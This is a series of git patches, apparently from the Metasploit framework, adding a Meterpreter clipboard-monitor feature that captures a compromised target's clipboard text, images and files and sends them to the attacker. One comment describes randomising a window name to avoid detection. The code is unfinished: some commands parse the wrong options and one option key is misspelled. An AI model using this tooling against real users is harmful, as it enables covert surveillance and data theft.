From 4d1c3c1f0115f70c798d2029381d135f9a540fb8 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 21 Nov 2013 06:29:37 +1000 Subject: [PATCH 1/6] Start clipboard monitor functionality Added the basics of the clipboard monitor functionality with usage messages and stuff like that. Lots more to do. --- .../extensions/extapi/clipboard/clipboard.rb | 24 ++++++ .../post/meterpreter/extensions/extapi/tlv.rb | 4 + .../command_dispatcher/extapi/clipboard.rb | 81 ++++++++++++++++++- 3 files changed, 105 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index baa30d2989..2c44ea21b4 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -81,6 +81,30 @@ class Clipboard return true end + def monitor_start(opts) + # TODO: add some smarts, a separate thread, etc to download the content + request = Packet.create_request('extapi_clipboard_monitor_start') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES, opts[:files]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES, opts[:images]) + return client.send_request(request) + end + + def monitor_pause + request = Packet.create_request('extapi_clipboard_monitor_pause') + return client.send_request(request) + end + + def monitor_resume + request = Packet.create_request('extapi_clipboard_monitor_resume') + return client.send_request(request) + end + + def monitor_stop + request = Packet.create_request('extapi_clipboard_monitor_stop') + return client.send_request(request) + end + attr_accessor :client end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 5c47c4905e..75c39cf830 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -40,6 +40,10 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) +TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 49) +TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) + end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 8472e114fc..305a74e3e8 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -5,7 +5,6 @@ module Rex module Post module Meterpreter module Ui - ### # # Extended API window management user interface. @@ -23,7 +22,8 @@ class Console::CommandDispatcher::Extapi::Clipboard def commands { "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard" + "clipboard_set_text" => "Write text to the victim's clipboard", + "clipboard_monitor" => "Interact with the clipboard monitor" } end @@ -143,7 +143,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-h" => [ false, "Help banner" ] ) - def clipboard_set_text_usage() + def print_clipboard_set_text_usage() print( "\nUsage: clipboard_set_text [-h] \n\n" + "Set the target's clipboard to the given text value.\n\n") @@ -158,7 +158,7 @@ class Console::CommandDispatcher::Extapi::Clipboard @@set_text_opts.parse(args) { |opt, idx, val| case opt when "-h" - clipboard_set_text_usage + print_clipboard_set_text_usage return true end } @@ -166,6 +166,79 @@ class Console::CommandDispatcher::Extapi::Clipboard return client.extapi.clipboard.set_text(args.join(" ")) end + # + # Options for the clipboard_get_data command. + # + @@monitor_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ false, "Automatically download image content" ], + "-f" => [ false, "Automatically download files" ], + "-l" => [ true, "Specifies the folder to write the clipboard loot to" ] + ) + + def print_clipboard_monitor_usage() + print( + "\nUsage: clipboard_monitor [-f] [-i] [-h]\n\n" + + "Starts or stops a background clipboard monitoring thread. The thread watches\n" + + "the clipboard on the target, under the context of the current desktop, and when\n" + + "changes are detected the contents of the clipboard are returned to the attacker.\n\n" + + " - start - starts the clipboard monitor with the given arguments if\n" + + " the thread is not already running.\n" + + " - pause - pauses a currently running clipboard monitor thread.\n" + + " - resume - resumes a currently paused clipboard monitor thread.\n" + + " - stop - stops a currently running or paused clipboard monitor thread.\n" + + @@monitor_opts.usage + "\n") + end + + def cmd_clipboard_monitor(*args) + args.unshift "-h" if args.length == 0 + download_files = false + download_images = false + loot_dir = nil + + @@set_text_opts.parse(args) { |opt, idx, val| + case opt + when "-f" + download_files = true + when "-i" + download_images = true + when "-l" + loot_dir = val + when "-h" + print_clipboard_monitor_usage + return true + end + } + + case args.shift + when "start" + loot_dir = generate_loot_dir(true) unless loot_dir + print_status("Clipboard monitor looting to #{loot_dir} ...") + print_status("Download files? #{download_files ? "Yes" : "No"}") + print_status("Download images? #{download_images ? "Yes" : "No"}") + + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :loot => loot_dir, + :files => download_files, + :iamges => download_images + }) + print_good("Clipboard monitor started") + when "pause" + client.extapi.clipboard.monitor_pause + print_good("Clipboard monitor paused") + when "resume" + client.extapi.clipboard.monitor_resume + print_good("Clipboard monitor resumed") + when "stop" + client.extapi.clipboard.monitor_stop + print_good("Clipboard monitor stopped") + end + + end + protected # TODO: get help from the MSF masters, because I have no From 83358fbbf0b31a1e6bfb3567ee4e5df56f515a75 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 22 Jan 2014 22:56:13 +1000 Subject: [PATCH 2/6] More work on the clipboard monitor --- .../extensions/extapi/clipboard/clipboard.rb | 129 ++++--- .../post/meterpreter/extensions/extapi/tlv.rb | 13 +- .../command_dispatcher/extapi/clipboard.rb | 316 +++++++++++------- 3 files changed, 285 insertions(+), 173 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index 5c266608dd..e6eb0e5436 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -22,8 +22,6 @@ class Clipboard # Get the target clipboard data in whichever format we can # (if it's supported). def get_data(download = false) - results = [] - request = Packet.create_request('extapi_clipboard_get_data') if download @@ -32,42 +30,7 @@ class Clipboard response = client.send_request(request) - text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) - - if text - results << { - :type => :text, - :data => text - } - end - - files = [] - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f| - files << { - :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), - :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) - } - } - - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| - if jpg - results << { - :type => :jpg, - :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), - :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), - :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) - } - end - end - - return results + return parse_dump(response) end # Set the target clipboard data to a text value @@ -82,11 +45,9 @@ class Clipboard end def monitor_start(opts) - # TODO: add some smarts, a separate thread, etc to download the content request = Packet.create_request('extapi_clipboard_monitor_start') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES, opts[:files]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES, opts[:images]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, opts[:cap_img]) return client.send_request(request) end @@ -95,18 +56,100 @@ class Clipboard return client.send_request(request) end + def monitor_dump(opts) + pull_img = opts[:include_images] + purge = opts[:purge] + + request = Packet.create_request('extapi_clipboard_monitor_dump') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) + + response = client.send_request(request) + + return parse_dump(response) + end + def monitor_resume request = Packet.create_request('extapi_clipboard_monitor_resume') return client.send_request(request) end - def monitor_stop + def monitor_stop(opts) + dump = opts[:dump] + pull_img = opts[:include_images] + request = Packet.create_request('extapi_clipboard_monitor_stop') - return client.send_request(request) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + + response = client.send_request(request) + unless dump + return response + end + + return parse_dump(response) end attr_accessor :client +private + + def parse_dump(response) + results = [] + + texts = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| + texts << { + :ts => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :text => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) + } + end + + if texts.length > 0 + results << { + :type => :text, + :data => texts + } + end + + files = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| + files << { + :ts => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), + :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) + } + end + + if files.length > 0 + results << { + :type => :files, + :data => files + } + end + + images = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| + if jpg + images << { + :ts => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), + :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), + :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) + } + end + end + + if images.length > 0 + results << { + :type => :jpg, + :data => images + } + end + + return results + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 75c39cf830..95d2d73627 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35) -TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38) + +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) + TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43) @@ -40,9 +44,10 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) -TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 49) -TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) -TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) +TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index e94866ce1b..9a417a2528 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -21,9 +21,13 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard", - "clipboard_monitor" => "Interact with the clipboard monitor" + "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the victim's clipboard", + "clipboard_monitor_start" => "Start the clipboard monitor", + "clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)", + "clipboard_monitor_dump" => "Dump all captured content", + "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -67,79 +71,14 @@ class Console::CommandDispatcher::Extapi::Clipboard end } - loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) - ::FileUtils.mkdir_p( loot_dir ) - end + dump = client.extapi.clipboard.get_data(download_content) - # currently we only support text values - results = client.extapi.clipboard.get_data(download_content) - - if results.length == 0 + if dump.length == 0 print_error( "The current Clipboard data format is not supported." ) return false end - results.each { |r| - case r[:type] - when :text - print_line - print_line( "Current Clipboard Text" ) - print_line( "======================" ) - print_line - print_line( r[:data] ) - - when :jpg - print_line - print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" ) - - if download_content - file = Rex::Text.rand_text_alpha(8) + ".jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |f| - f.write r[:data] - end - print_good( "Clipboard image saved to #{path}" ) - else - print_line( "Re-run with -d to download image." ) - end - - when :files - if download_content - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each { |f| - download_file( loot_dir, f[:name] ) - } - print_good( "Downloaded #{r[:data].length} file(s)." ) - print_line - else - table = Rex::Ui::Text::Table.new( - 'Header' => 'Current Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each { |f| - table << [f[:name], f[:size]] - total += f[:size] - } - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - end - end - - print_line - } + parse_dump(dump, download_content, download_content, download_path) return true end @@ -169,84 +108,114 @@ class Console::CommandDispatcher::Extapi::Clipboard return true end } - - return client.extapi.clipboard.set_text(args.join(" ")) +return client.extapi.clipboard.set_text(args.join(" ")) end # - # Options for the clipboard_get_data command. + # Options for the clipboard_monitor_start command. # - @@monitor_opts = Rex::Parser::Arguments.new( + @@monitor_start_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-i" => [ false, "Automatically download image content" ], - "-f" => [ false, "Automatically download files" ], - "-l" => [ true, "Specifies the folder to write the clipboard loot to" ] + "-i" => [ true, "Capture image content when monitoring (default: true)" ] ) - def print_clipboard_monitor_usage() + # + # Help for the clipboard_monitor_start command. + # + def print_clipboard_monitor_start_usage() print( - "\nUsage: clipboard_monitor [-f] [-i] [-h]\n\n" + - "Starts or stops a background clipboard monitoring thread. The thread watches\n" + + "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + + "Starts a background clipboard monitoring thread. The thread watches\n" + "the clipboard on the target, under the context of the current desktop, and when\n" + - "changes are detected the contents of the clipboard are returned to the attacker.\n\n" + - " - start - starts the clipboard monitor with the given arguments if\n" + - " the thread is not already running.\n" + - " - pause - pauses a currently running clipboard monitor thread.\n" + - " - resume - resumes a currently paused clipboard monitor thread.\n" + - " - stop - stops a currently running or paused clipboard monitor thread.\n" + - @@monitor_opts.usage + "\n") + "changes are detected the contents of the clipboard are captured. Contents can be\n" + + "dumped periodically. Image content can be captured as well (and will be by default)\n" + + "however this can consume quite a bit of memory.\n\n" + + @@monitor_start_opts.usage + "\n") end - def cmd_clipboard_monitor(*args) - args.unshift "-h" if args.length == 0 - download_files = false - download_images = false - loot_dir = nil + # + # Start the clipboard monitor. + # + def cmd_clipboard_monitor_start(*args) + capture_images = true @@set_text_opts.parse(args) { |opt, idx, val| case opt - when "-f" - download_files = true when "-i" - download_images = true - when "-l" - loot_dir = val + # default this to true + capture_images = val.downcase != 'false' when "-h" - print_clipboard_monitor_usage + print_clipboard_monitor_start_usage return true end } - case args.shift - when "start" - loot_dir = generate_loot_dir(true) unless loot_dir - print_status("Clipboard monitor looting to #{loot_dir} ...") - print_status("Download files? #{download_files ? "Yes" : "No"}") - print_status("Download images? #{download_images ? "Yes" : "No"}") - - client.extapi.clipboard.monitor_start({ - # random class and window name so that it isn't easy - # to track via a script - :wincls => Rex::Text.rand_text_alpha(8), - :loot => loot_dir, - :files => download_files, - :iamges => download_images - }) - print_good("Clipboard monitor started") - when "pause" - client.extapi.clipboard.monitor_pause - print_good("Clipboard monitor paused") - when "resume" - client.extapi.clipboard.monitor_resume - print_good("Clipboard monitor resumed") - when "stop" - client.extapi.clipboard.monitor_stop - print_good("Clipboard monitor stopped") - end + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :cap_img => capture_images + }) + print_good("Clipboard monitor started") end -protected + # + # Options for the clipboard_monitor_stop command. + # + @@monitor_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + ) + + # + # Help for the clipboard_monitor_stop command. + # + def print_clipboard_monitor_stop_usage() + print( + "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the attacker.\n\n" + + @@monitor_stop_opts.usage + "\n") + end + + # + # Stop the clipboard monitor. + # + def cmd_clipboard_monitor_stop(*args) + dump_data = true + download_images = true + download_files = true + download_path = nil + + @@set_text_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-x" + dump_data = val.downcase != 'false' + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-h" + print_clipboard_monitor_stop_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_stop({ + :dump => dump_data, + :include_images => download_images + }) + + parse_dump(dump, download_images, download_files, download_path) if dump_data + + print_good("Clipboard monitor stopped") + end + +private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) @@ -266,6 +235,101 @@ protected end end + def parse_dump(dump, get_images, get_files, download_path) + loot_dir = download_path || "." + if not ::File.directory?( loot_dir ) + ::FileUtils.mkdir_p( loot_dir ) + end + + dump.each do |r| + case r[:type] + when :text + print_line + + r[:data].each do |x| + title = "Text captured at #{x[:ts]}" + under = "-" * title.length + print_line(title) + print_line(under) + print_line(x[:text]) + print_line(under) + print_line + end + + when :jpg + print_line + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Clipboard Images', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Time Captured', 'Width', 'Height' + ] + ) + + r[:data].each do |x| + table << [x[:ts], x[:width], x[:height]] + end + + print_line + print_line(table.to_s) + + if get_images + print_line + print_status( "Downloading Clipboard Images ..." ) + r[:data].each do |j| + file = "#{j[:ts].gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join( loot_dir, file ) + path = ::File.expand_path( path ) + ::File.open( path, 'wb' ) do |x| + x.write j[:data] + end + print_good( "Clipboard image #{j[:width]}x#{j[:height]} saved to #{path}" ) + end + else + print_line( "Re-run with -d to download image(s)." ) + end + print_line + + when :files + print_line + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Clipboard Files', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Time Captured', 'File Path', 'Size (bytes)' + ] + ) + + total = 0 + r[:data].each do |x| + table << [x[:ts], x[:name], x[:size]] + total += x[:size] + end + + print_line + print_line(table.to_s) + + print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) + + if get_files + loot_dir = ::File.expand_path( loot_dir ) + print_line + print_status( "Downloading Clipboard Files ..." ) + r[:data].each do |f| + download_file( loot_dir, f[:name] ) + end + print_good( "Downloaded #{r[:data].length} file(s)." ) + else + print_line( "Re-run with -d to download file(s)." ) + end + end + end + end + end end From e27707cac3ac3c174ad579170babd2e75ae3f1d4 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 29 Jan 2014 14:51:03 +1000 Subject: [PATCH 3/6] More tweaking of the clipboard monitor with dump/purge --- .../extensions/extapi/clipboard/clipboard.rb | 12 +- .../post/meterpreter/extensions/extapi/tlv.rb | 2 +- .../command_dispatcher/extapi/clipboard.rb | 110 ++++++++++++++++-- 3 files changed, 110 insertions(+), 14 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index e6eb0e5436..7fde60f4db 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -47,7 +47,7 @@ class Clipboard def monitor_start(opts) request = Packet.create_request('extapi_clipboard_monitor_start') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, opts[:cap_img]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img]) return client.send_request(request) end @@ -59,9 +59,10 @@ class Clipboard def monitor_dump(opts) pull_img = opts[:include_images] purge = opts[:purge] + purge = true if purge.nil? request = Packet.create_request('extapi_clipboard_monitor_dump') - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) response = client.send_request(request) @@ -74,13 +75,18 @@ class Clipboard return client.send_request(request) end + def monitor_purge + request = Packet.create_request('extapi_clipboard_monitor_purge') + return client.send_request(request) + end + def monitor_stop(opts) dump = opts[:dump] pull_img = opts[:include_images] request = Packet.create_request('extapi_clipboard_monitor_stop') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) response = client.send_request(request) unless dump diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 95d2d73627..9cc1ee584a 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -44,7 +44,7 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) -TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 9a417a2528..0f571204f5 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -21,12 +21,13 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard", + "clipboard_get_data" => "Read the target's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the target's clipboard", "clipboard_monitor_start" => "Start the clipboard monitor", "clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)", "clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)", "clipboard_monitor_dump" => "Dump all captured content", + "clipboard_monitor_purge" => "Delete all captured content without dumping it", "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -49,13 +50,13 @@ class Console::CommandDispatcher::Extapi::Clipboard def print_clipboard_get_data_usage print( "\nUsage: clipboard_get_data [-h] [-d]\n\n" + - "Attempts to read the data from the victim's clipboard. If the data is in a\n" + + "Attempts to read the data from the target's clipboard. If the data is in a\n" + "supported format, it is read and returned to the user.\n" + @@get_data_opts.usage + "\n") end # - # Get the data from the victim's clipboard + # Get the data from the target's clipboard # def cmd_clipboard_get_data(*args) download_content = false @@ -89,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-h" => [ false, "Help banner" ] ) - def print_clipboard_set_text_usage() + 